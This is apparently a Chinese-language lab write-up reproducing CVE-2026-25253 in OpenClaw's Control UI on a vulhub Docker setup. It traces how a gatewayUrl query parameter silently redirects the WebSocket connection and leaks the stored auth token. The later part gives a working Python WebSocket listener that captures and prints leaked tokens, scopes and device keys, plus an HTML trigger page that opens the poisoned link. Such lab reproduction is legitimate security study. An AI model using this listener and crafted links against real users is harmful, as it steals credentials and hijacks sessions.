在vulhub下载的镜像
参考了:CVE-2026-25253:OpenClaw高危远程代码执行漏洞深度分析 - U深搜
首先启动docker环境
进入openclaw的主界面

这个漏洞产生的原因是:
漏洞存在于OpenClaw的 Control UI前端初始化逻辑 中。在受影响的版本中,应用程序会从URL查询字符串中读取gatewayUrl参数,并 未经用户确认自动建立WebSocket连接 ,同时将存储在localStorage中的认证令牌(auth token)发送到指定的WebSocket端点。
漏洞链条分析
分析js代码
javascript
function ad(e) {
if (!window.location.search)
return;
const t = new URLSearchParams(window.location.search)
, n = t.get("token")
, s = t.get("password")
, i = t.get("session")
, a = t.get("gatewayUrl");
let o = !1;
if (n != null) {
const l = n.trim();
l && l !== e.settings.token && ke(e, {
...e.settings,
token: l
}),
t.delete("token"),
o = !0
}
if (s != null) {
const l = s.trim();
l && (e.password = l),
t.delete("password"),
o = !0
}
if (i != null) {
const l = i.trim();
l && (e.sessionKey = l,
ke(e, {
...e.settings,
sessionKey: l,
lastActiveSessionKey: l
}))
}
if (a != null) {
const l = a.trim();
l && l !== e.settings.gatewayUrl && ke(e, {
...e.settings,
gatewayUrl: l
}),
t.delete("gatewayUrl"),
o = !0
}
if (!o)
return;
const c = new URL(window.location.href);
c.search = t.toString(),
window.history.replaceState({}, "", c.toString())
}
这里的代码会获取token,然后调用下列函数:
javascript
function ke(e, t) {
const n = {
...t,
lastActiveSessionKey: t.lastActiveSessionKey?.trim() || t.sessionKey.trim() || "main"
};
e.settings = n,
fl(n),
t.theme !== e.theme && (e.theme = t.theme,
hn(e, qs(t.theme))),
e.applySessionKey = e.settings.lastActiveSessionKey
}
ad(e) 会直接从 window.location.search 解析 token、password、session、gatewayUrl,其中 gatewayUrl 会被写入 settings.gatewayUrl,token 会被写入 settings.token,随后 Vh(e) 在 connectedCallback 阶段先调用 ad(e),紧接着无条件调用 wr(e) 发起连接。也就是说,URL 参数会在页面初始化时生效,并立刻进入连接流程。
连接本身确实是 WebSocket。wr(e) 用 e.settings.gatewayUrl 和 e.settings.token 构造 new Bh({...}),而 Bh.connect() 里直接执行 new WebSocket(this.opts.url);连接建立后,sendConnect() 会把认证材料组装到 auth 对象里发送,其中 const c = o || this.opts.password ? { token: o, password: this.opts.password } : void 0,这里的 o 来自 this.opts.token,也就是前面由 URL 或本地设置注入的 token。
更关键的是,token 不只是来自当前 URL,还会持久化到本地。控制台设置使用 clawdbot.control.settings.v1 作为本地存储键,pl() 会从 localStorage 读取其中的 gatewayUrl 和 token;而 ke(e,t) 又会通过 fl(n) 把变更后的设置重新写回 localStorage。因此一旦用户访问带有恶意 gatewayUrl 的链接,前端会把新地址写进持久化设置,并在初始化时自动连接该地址。
从影响上看,这属于前端初始化逻辑导致的敏感认证信息外带。攻击者只需要诱导已登录或本地留存 token 的用户访问一个带查询参数的链接,例如带 gatewayUrl=ws://attacker... 或 wss://attacker... 的页面地址,页面加载后就会自动把连接目标切到攻击者控制的 WebSocket 端点,并在握手/连接消息中附带 token。因为这条链路发生在页面加载阶段,用户看见 UI 之前外连就已经开始了。
AI分析:
第一步是入口可控。前端会从当前页面 URL 的查询参数里读 session,你前面核对到的同一段初始化逻辑也会处理 gatewayUrl、token、password 这类参数,然后把结果写回运行时状态。更重要的是,页面初始化并不是只"读一下参数",而是随后会继续进入连接流程。wr(e) 就是实际的连接函数,它直接把 e.settings.gatewayUrl、e.settings.token 和 e.password 塞进新的网关客户端实例。
第二步是本地敏感数据可被复用。控制台配置使用 clawdbot.control.settings.v1 作为本地存储键;pl() 会从 localStorage 读取 gatewayUrl 和 token,fl(e) 会把更新后的设置重新写回去。也就是说,攻击者不一定非要通过 URL 直接塞 token;只要受害者浏览器里原本就留有合法 token,前端初始化时就会自动取出来,后续被用在新连接上。
第三步是连接目标可被切换。wr(e) 创建 new Bh({...}) 时,url 字段直接来自 e.settings.gatewayUrl。这意味着只要攻击者能让初始化逻辑把 settings.gatewayUrl 改成攻击者自己的 ws:// 或 wss:// 地址,后续客户端就会把 WebSocket 连到攻击者服务器,而不是原本的网关。
第四步是连接会自动发生,而不是只停留在表单里。虽然 UI 上有一句 "Click Connect to apply connection changes",表面上像是要用户点按钮才会生效,但这只能说明表单手工修改时的交互提示。真正的初始化逻辑里,在参数处理之后会直接进入连接函数,所以攻击链的关键不是"诱导用户打开设置页并点击 Connect",而是"诱导用户访问带参数的链接即可触发初始化连接"。这也是为什么这个问题危险性比普通配置注入高。
第五步是 token 会被带到攻击者端。Bh.connect() 直接执行 new WebSocket(this.opts.url) 建立连接。随后客户端发送连接认证消息时,会使用实例里的认证字段;而这些字段正是从 wr(e) 传入的 token / password。所以攻击者只要控制了 WebSocket 目标地址,就能在自己的服务端拿到前端发来的认证消息,从而截获 token。
第六步是持久化副作用。因为设置会被写回 localStorage,所以这不只是一次性外连。攻击者如果成功把 gatewayUrl 覆盖进本地设置,受害者后续再次打开 Control UI 时,pl() 还会继续从本地读取这个恶意地址,造成持续重连或再次泄露,直到用户手动修正本地配置。
总结:
connectedCallback()
→ Vh(e) 初始化
→ ad(e) 从 URL 读入 gatewayUrl / token / password
→ ke(e, ...) 把恶意值应用到 e.settings
→ pl() 读出本地已有 token,或配合 URL 中的新值一起形成当前认证状态
→ wr(e) 用 e.settings.gatewayUrl 和 e.settings.token 创建客户端
→ Bh.start()
→ Bh.connect() 执行 new WebSocket(this.opts.url) 连接攻击者端点
→ queueConnect()
→ sendConnect() 把 token/password 放进 auth 并发给攻击者。
利用
vulhub已经给出了利用方法:
这是设置一个监听,等着那边发来token等敏感信息
python
import asyncio
import json
import websockets
async def handler(ws):
print("[+] Victim connected")
async for msg in ws:
try:
obj = json.loads(msg)
print("\n[RECV]", json.dumps(obj, indent=2)[:2000])
if obj.get("method") == "connect" and "params" in obj:
params = obj["params"]
auth = params.get("auth", {})
device = params.get("device", {})
print("\n[!] LEAKED AUTH CONTEXT:")
print(f" auth.token: {auth.get('token', 'N/A')}")
print(f" role: {params.get('role', 'N/A')}")
print(f" scopes: {params.get('scopes', [])}")
print(f" device.id: {device.get('id', 'N/A')}")
print(f" device.publicKey: {device.get('publicKey', 'N/A')}")
except json.JSONDecodeError:
print("[RECV RAW]", msg[:500])
async def main():
async with await websockets.serve(handler, "127.0.0.1", 8080):
print("Listening on ws://127.0.0.1:8080")
print("Waiting for victim to visit: http://localhost:18789/?gatewayUrl=ws://127.0.0.1:8080")
await asyncio.Future()
asyncio.run(main())
构建恶意网页模拟受害者触发过程:
html
<!doctype html>
<html>
<head><title>CVE-2026-25253 Trigger</title></head>
<body>
<h3>CVE-2026-25253 Minimal Trigger</h3>
<p>Click the button below to force the Control UI to connect to the attacker WebSocket endpoint.</p>
<button id="go">Trigger</button>
<script>
document.getElementById("go").onclick = () => {
var target = "http://localhost:18789/?gatewayUrl=ws://127.0.0.1:8080";
window.open(target, "_blank", "width=1200,height=800");
console.log("Opened:", target);
};
</script>
</body>
</html>
成功得到敏感信息:
